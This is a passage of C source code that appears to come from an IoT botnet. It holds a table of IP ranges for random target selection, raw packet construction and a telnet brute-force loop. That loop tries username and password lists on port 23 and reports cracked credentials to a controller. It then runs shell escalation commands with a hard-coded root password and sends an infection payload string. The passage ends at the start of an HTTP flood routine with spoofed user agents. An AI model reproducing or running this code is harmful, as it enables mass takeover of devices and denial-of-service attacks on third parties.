  958. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  959. }
  960. if(randnum == 102)
  961. {
  962. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  963. }
  964. if(randnum == 103)
  965. {
  966. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  967. }
  968. if(randnum == 104)
  969. {
  970. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  971. }
  972. if(randnum == 105)
  973. {
  974. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  975. }
  976. if(randnum == 106)
  977. {
  978. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  979. }
  980. if(randnum == 107)
  981. {
  982. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  983. }
  984. if(randnum == 108)
  985. {
  986. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  987. }
  988. if(randnum == 109)
  989. {
  990. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  991. }
  992. if(randnum == 110)
  993. {
  994. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  995. }
  996. if(randnum == 111)
  997. {
  998. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  999. }
  1000. if(randnum == 112)
  1001. {
  1002. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1003. }
  1004. if(randnum == 113)
  1005. {
  1006. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1007. }
  1008. if(randnum == 114)
  1009. {
  1010. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1011. }
  1012. if(randnum == 115)
  1013. {
  1014. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1015. }
  1016. if(randnum == 116)
  1017. {
  1018. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1019. }
  1020. if(randnum == 117)
  1021. {
  1022. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1023. }
  1024. if(randnum == 118)
  1025. {
  1026. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1027. }
  1028. if(randnum == 119)
  1029. {
  1030. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1031. }
  1032. if(randnum == 120)
  1033. {
  1034. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1035. }
  1036. if(randnum == 121)
  1037. {
  1038. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1039. }
  1040. if(randnum == 122)
  1041. {
  1042. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1043. }
  1044. if(randnum == 123)
  1045. {
  1046. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1047. }
  1048. if(randnum == 124)
  1049. {
  1050. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1051. }
  1052. if(randnum == 125)
  1053. {
  1054. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1055. }
  1056. if(randnum == 126)
  1057. {
  1058. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1059. }
  1060. if(randnum == 127)
  1061. {
  1062. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1063. }
  1064. if(randnum == 128)
  1065. {
  1066. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1067. }
  1068. if(randnum == 129)
  1069. {
  1070. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1071. }
  1072. if(randnum == 130)
  1073. {
  1074. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1075. }
  1076. if(randnum == 131)
  1077. {
  1078. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1079. }
  1080. if(randnum == 132)
  1081. {
  1082. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1083. }
  1084. if(randnum == 133)
  1085. {
  1086. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1087. }
  1088. if(randnum == 134)
  1089. {
  1090. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1091. }
  1092. if(randnum == 135)
  1093. {
  1094. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1095. }
  1096. if(randnum == 136)
  1097. {
  1098. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1099. }
  1100. if(randnum == 137)
  1101. {
  1102. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1103. }
  1104. if(randnum == 138)
  1105. {
  1106. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1107. }
  1108. if(randnum == 139)
  1109. {
  1110. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1111. }
  1112. if(randnum == 140)
  1113. {
  1114. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1115. }
  1116. if(randnum == 141)
  1117. {
  1118. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1119. }
  1120. if(randnum == 142)
  1121. {
  1122. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1123. }
  1124. if(randnum == 143)
  1125. {
  1126. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1127. }
  1128. if(randnum == 144)
  1129. {
  1130. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1131. }
  1132. if(randnum == 145)
  1133. {
  1134. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1135. }
  1136. if(randnum == 146)
  1137. {
  1138. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1139. }
  1140. if(randnum == 147)
  1141. {
  1142. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1143. }
  1144. if(randnum == 148)
  1145. {
  1146. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1147. }
  1148. if(randnum == 149)
  1149. {
  1150. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1151. }
  1152. if(randnum == 150)
  1153. {
  1154. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1155. }
  1156. if(randnum == 151)
  1157. {
  1158. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1159. }
  1160. if(randnum == 152)
  1161. {
  1162. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1163. }
  1164. if(randnum == 153)
  1165. {
  1166. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1167. }
  1168. if(randnum == 154)
  1169. {
  1170. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1171. }
  1172. if(randnum == 155)
  1173. {
  1174. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1175. }
  1176. if(randnum == 156)
  1177. {
  1178. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1179. }
  1180. if(randnum == 157)
  1181. {
  1182. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1183. }
  1184. if(randnum == 158)
  1185. {
  1186. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1187. }
  1188. if(randnum == 159)
  1189. {
  1190. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1191. }
  1192. if(randnum == 160)
  1193. {
  1194. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1195. }
  1196. if(randnum == 161)
  1197. {
  1198. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1199. }
  1200. if(randnum == 162)
  1201. {
  1202. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1203. }
  1204. if(randnum == 163)
  1205. {
  1206. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1207. }
  1208. if(randnum == 164)
  1209. {
  1210. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1211. }
  1212. if(randnum == 165)
  1213. {
  1214. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1215. }
  1216. if(randnum == 166)
  1217. {
  1218. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1219. }
  1220. if(randnum == 167)
  1221. {
  1222. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1223. }
  1224. if(randnum == 168)
  1225. {
  1226. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1227. }
  1228. if(randnum == 169)
  1229. {
  1230. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1231. }
  1232. if(randnum == 171)
  1233. {
  1234. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1235. }
  1236. if(randnum == 172)
  1237. {
  1238. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1239. }
  1240. if(randnum == 173)
  1241. {
  1242. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1243. }
  1244. if(randnum == 174)
  1245. {
  1246. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1247. }
  1248. if(randnum == 175)
  1249. {
  1250. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1251. }
  1252. if(randnum == 176)
  1253. {
  1254. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1255. }
  1256. if(randnum == 177)
  1257. {
  1258. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1259. }
  1260. if(randnum == 178)
  1261. {
  1262. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1263. }
  1264. if(randnum == 179)
  1265. {
  1266. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1267. }
  1268. if(randnum == 180)
  1269. {
  1270. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1271. }
  1272. if(randnum == 181)
  1273. {
  1274. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1275. }
  1276. if(randnum == 182)
  1277. {
  1278. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1279. }
  1280. if(randnum == 183)
  1281. {
  1282. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1283. }
  1284. if(randnum == 184)
  1285. {
  1286. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1287. }
  1288. if(randnum == 185)
  1289. {
  1290. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1291. }
  1292. if(randnum == 186)
  1293. {
  1294. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1295. }
  1296. if(randnum == 187)
  1297. {
  1298. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1299. }
  1300. if(randnum == 188)
  1301. {
  1302. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1303. }
  1304. if(randnum == 189)
  1305. {
  1306. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1307. }
  1308. if(randnum == 190)
  1309. {
  1310. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1311. }
  1312. if(randnum == 191)
  1313. {
  1314. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1315. }
  1316. if(randnum == 192)
  1317. {
  1318. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1319. }
  1320. if(randnum == 193)
  1321. {
  1322. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1323. }
  1324. if(randnum == 194)
  1325. {
  1326. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1327. }
  1328. if(randnum == 195)
  1329. {
  1330. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1331. }
  1332. if(randnum == 196)
  1333. {
  1334. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1335. }
  1336. if(randnum == 197)
  1337. {
  1338. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1339. }
  1340. if(randnum == 198)
  1341. {
  1342. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1343. }
  1344. if(randnum == 199)
  1345. {
  1346. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1347. }
  1348. if(randnum == 200)
  1349. {
  1350. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1351. }
  1352. if(randnum == 201)
  1353. {
  1354. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1355. }
  1356. if(randnum == 201)
  1357. {
  1358. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1359. }
  1360. if(randnum == 202)
  1361. {
  1362. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1363. }
  1364. if(randnum == 203)
  1365. {
  1366. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1367. }
  1368. if(randnum == 204)
  1369. {
  1370. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1371. }
  1372. if(randnum == 205)
  1373. {
  1374. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1375. }
  1376. if(randnum == 206)
  1377. {
  1378. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1379. }
  1380. if(randnum == 207)
  1381. {
  1382. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1383. }
  1384. if(randnum == 208)
  1385. {
  1386. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1387. }
  1388.  
  1389. return inet_addr(ip);
  1390. }
  1391.  
  1392. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122,39,123,124,125,128,131,132,138,14,140,141,148,151,162.163,167,14,103,105,183,168,171,2,198,191,41,42,43,37,201,200,80,81,82,83,84,85,86,87,88,89,90};
  1393. in_addr_t NetisRanges()
  1394. {
  1395. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1396. ipState[1] = Dickranges[range];
  1397. ipState[2] = rand() % 255;
  1398. ipState[3] = rand() % 255;
  1399. ipState[4] = rand() % 255;
  1400. char ip[16] = {0};
  1401. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1402. return inet_addr(ip);
  1403. }
  1404. in_addr_t HackerScan(in_addr_t netmask)
  1405. {
  1406. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1407. return tmp ^ ( rand_cmwc() & ~netmask);
  1408. }
  1409. unsigned short csum (unsigned short *buf, int count)
  1410. {
  1411. register uint64_t sum = 0;
  1412. while( count > 1 ) { sum += *buf++; count -= 2; }
  1413. if(count > 0) { sum += *(unsigned char *)buf; }
  1414. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1415. return (uint16_t)(~sum);
  1416. }
  1417.  
  1418. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1419. {
  1420. iph->ihl = 5;
  1421. iph->version = 4;
  1422. iph->tos = 0;
  1423. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1424. iph->id = rand_cmwc();
  1425. iph->frag_off = 0;
  1426. iph->ttl = MAXTTL;
  1427. iph->protocol = protocol;
  1428. iph->check = 0;
  1429. iph->saddr = source;
  1430. iph->daddr = dest;
  1431. }
  1432. int sclose(int fd)
  1433. {
  1434. if(3 > fd) return 1;
  1435. close(fd);
  1436. return 0;
  1437. }
  1438. struct telstate_t
  1439. {
  1440. int fd;
  1441. unsigned int ip;
  1442. unsigned char state;
  1443. unsigned char complete;
  1444. unsigned char usernameInd;
  1445. unsigned char passwordInd;
  1446. unsigned char tempDirInd;
  1447. unsigned int totalTimeout;
  1448. unsigned short bufUsed;
  1449. char *sockbuf;
  1450. };
  1451. const char* get_telstate_host(struct telstate_t* telstate)
  1452. {
  1453. struct in_addr in_addr_ip;
  1454. in_addr_ip.s_addr = telstate->ip;
  1455. return inet_ntoa(in_addr_ip);
  1456. }
  1457. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1458. {
  1459. int num_bytes, i;
  1460. memset(buffer, 0, buf_size);
  1461. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1462. if(buffer[0] == 0xFF)
  1463. {
  1464. negotiate(fd, buffer, 3);
  1465. }
  1466. if(contains_string(buffer, strings))
  1467. {
  1468. return 1;
  1469. }
  1470. return 0;
  1471. }
  1472. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1473. {
  1474. fd_set read_set;
  1475. struct timeval tv;
  1476. tv.tv_sec = 0;
  1477. tv.tv_usec = timeout_usec;
  1478. FD_ZERO(&read_set);
  1479. FD_SET(fd, &read_set);
  1480. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1481. return 0;
  1482. return recv(fd, buffer, buf_size, 0);
  1483. }
  1484. int contains_success(char* buffer)
  1485. {
  1486. return contains_string(buffer, successes);
  1487. }
  1488. int contains_fail(char* buffer)
  1489. {
  1490. return contains_string(buffer, fails);
  1491. }
  1492. int contains_string(char* buffer, char** strings)
  1493. {
  1494. int num_strings = 0, i = 0;
  1495. for(num_strings = 0; strings[++num_strings] != 0; );
  1496. for(i = 0; i < num_strings; i++)
  1497. {
  1498. if(strcasestr(buffer, strings[i]))
  1499. {
  1500. return 1;
  1501. }
  1502. }
  1503. return 0;
  1504. }
  1505.  
  1506. void StartTheLelz() {
  1507. int i, res, j;
  1508. char buf[128], cur_dir;
  1509. int wait_usec = 10;
  1510. int maxfds = 1000;
  1511. int max = maxfds;
  1512. fd_set fdset;
  1513. struct timeval tv;
  1514. socklen_t lon;
  1515. int valopt;
  1516. srand(time(NULL) ^ rand_cmwc());
  1517. char line[256];
  1518. char* buffer;
  1519. struct sockaddr_in dest_addr;
  1520. dest_addr.sin_family = AF_INET;
  1521. dest_addr.sin_port = htons(23);
  1522. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1523. buffer = malloc(BUFFER_SIZE + 1);
  1524. memset(buffer, 0, BUFFER_SIZE + 1);
  1525. struct telstate_t fds[max];
  1526. memset(fds, 0, max * (sizeof(int) + 1));
  1527. for(i = 0; i < max; i++) {
  1528. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1529. fds[i].complete = 1;
  1530. fds[i].sockbuf = buffer; }
  1531. while(1) {
  1532. for(i = 0; i < max; i++) {
  1533. if(fds[i].totalTimeout == 0) {
  1534. fds[i].totalTimeout = time(NULL); }
  1535. switch(fds[i].state) {
  1536. case 0: {
  1537. if(fds[i].complete == 1) {
  1538. char *tmp = fds[i].sockbuf;
  1539. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1540. fds[i].sockbuf = tmp;
  1541. fds[i].ip = HackerScan2(); }
  1542. else if(fds[i].complete == 0) {
  1543. fds[i].passwordInd++;
  1544. fds[i].usernameInd++;
  1545. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1546. fds[i].complete = 1;
  1547. continue; }
  1548. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1549. fds[i].complete = 1;
  1550. continue;
  1551. }
  1552. }
  1553. dest_addr.sin_family = AF_INET;
  1554. dest_addr.sin_port = htons(23);
  1555. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1556. dest_addr.sin_addr.s_addr = fds[i].ip;
  1557. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1558. if(fds[i].fd == -1) continue;
  1559. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1560. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1561. sclose(fds[i].fd);
  1562. fds[i].complete = 1; }
  1563. else {
  1564. fds[i].state = 1;
  1565. fds[i].totalTimeout = 0;
  1566. }
  1567. }
  1568. break;
  1569. case 1:
  1570. {
  1571. FD_ZERO(&fdset);
  1572. FD_SET(fds[i].fd, &fdset);
  1573. tv.tv_sec = 0;
  1574. tv.tv_usec = wait_usec;
  1575. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1576. if(res == 1) {
  1577. lon = sizeof(int);
  1578. valopt = 0;
  1579. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1580. if(valopt) {
  1581. sclose(fds[i].fd);
  1582. fds[i].state = 0;
  1583. fds[i].complete = 1;
  1584. } else {
  1585. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1586. fds[i].totalTimeout = 0;
  1587. fds[i].bufUsed = 0;
  1588. memset(fds[i].sockbuf, 0, 1024);
  1589. fds[i].state = 2;
  1590. } continue; }
  1591. else if(res == -1) {
  1592. sclose(fds[i].fd);
  1593. fds[i].state = 0;
  1594. fds[i].complete = 1;
  1595. continue; }
  1596. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1597. sclose(fds[i].fd);
  1598. fds[i].state = 0;
  1599. fds[i].complete = 1;
  1600. }
  1601. }
  1602. break;
  1603. case 2:
  1604. {
  1605. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1606. if(contains_fail(fds[i].sockbuf)) {
  1607. fds[i].state = 0;
  1608. } else {
  1609. fds[i].state = 3; }
  1610. continue; }
  1611. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1612. fds[i].state = 0;
  1613. fds[i].complete = 1;
  1614. }
  1615. }
  1616. break;
  1617. case 3: {
  1618. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1619. fds[i].state = 0;
  1620. fds[i].complete = 1;
  1621. continue; }
  1622. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1623. fds[i].state = 0;
  1624. fds[i].complete = 1;
  1625. continue; }
  1626. fds[i].state = 4; }
  1627. break;
  1628. case 4:
  1629. {
  1630. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1631. {
  1632. if(contains_fail(fds[i].sockbuf)) {
  1633. fds[i].state = 0;
  1634. } else {
  1635. fds[i].state = 5; }
  1636. continue; }
  1637. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1638. fds[i].state = 0;
  1639. fds[i].complete = 1;
  1640. }
  1641. }
  1642. break;
  1643. case 5:
  1644. {
  1645. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1646. fds[i].state = 0;
  1647. fds[i].complete = 1;
  1648. continue; }
  1649. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1650. fds[i].state = 0;
  1651. fds[i].complete = 1;
  1652. continue; }
  1653. fds[i].state = 6;
  1654. }
  1655. break;
  1656. case 6:
  1657. {
  1658. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1659. fds[i].totalTimeout = time(NULL);
  1660. if(contains_fail(fds[i].sockbuf)) {
  1661. fds[i].state = 0; }
  1662. else if(contains_success(fds[i].sockbuf)) {
  1663. if(fds[i].complete == 2) {
  1664. fds[i].state = 7; }
  1665. else {
  1666. HackerPrint(D1ckSucka, "Telnet Login Prompt - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1667. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1668. fds[i].state = 7; }
  1669. } else {
  1670. fds[i].state = 0;
  1671. fds[i].complete = 1;
  1672. } continue; }
  1673. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1674. fds[i].state = 0;
  1675. fds[i].complete = 1;
  1676. }
  1677. }
  1678. break;
  1679. case 7:
  1680. {
  1681. fds[i].totalTimeout = time(NULL);
  1682. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {fds[i].state = 0;fds[i].complete = 1;continue;}
  1683. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) {fds[i].state = 0;fds[i].complete = 1;continue;}
  1684. if(send(fds[i].fd, "enable\r\n", 6, MSG_NOSIGNAL) < 0) {fds[i].state = 0;fds[i].complete = 1;continue;}
  1685. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {fds[i].state = 0;fds[i].complete = 1;continue;}
  1686. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {fds[i].state = 0;fds[i].complete = 1;continue;}
  1687. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1688. sclose(fds[i].fd);
  1689. fds[i].state = 0;
  1690. fds[i].complete = 1;
  1691. continue; }
  1692. fds[i].complete = 3;
  1693. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1694. if(fds[i].complete !=3){
  1695. }
  1696. fds[i].state = 0;
  1697. fds[i].complete = 1;
  1698. }
  1699. break;
  1700. }
  1701. }
  1702. }
  1703. }
  1704. }
  1705. int socket_connect(char *host, in_port_t port) {
  1706. struct hostent *hp;
  1707. struct sockaddr_in addr;
  1708. int on = 1, sock;
  1709. if ((hp = gethostbyname(host)) == NULL) return 0;
  1710. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1711. addr.sin_port = htons(port);
  1712. addr.sin_family = AF_INET;
  1713. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1714. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1715. if (sock == -1) return 0;
  1716. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1717. return 0;
  1718. return sock;
  1719. }
  1720. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1721. const char *useragents[] = {
  1722. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1723. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1724. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1725. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1726. "Opera/6.04 (Windows XP; U) [en]",
  1727. "Opera/9.99 (X11; U; sk)",
  1728. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1729. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1730. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1731. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1732. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1733. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1734. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1735. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1736. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1737. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1738. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1739. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1740. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1741. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1742. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1743. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1744. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1745. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1746. "wii libnup/1.0",
  1747. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1748. "PSP (PlayStation Portable); 2.00",
  1749. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1750. "Doris/1.15 [en] (Symbian)",
  1751. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1752. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1753. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1754. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1755. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1756. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
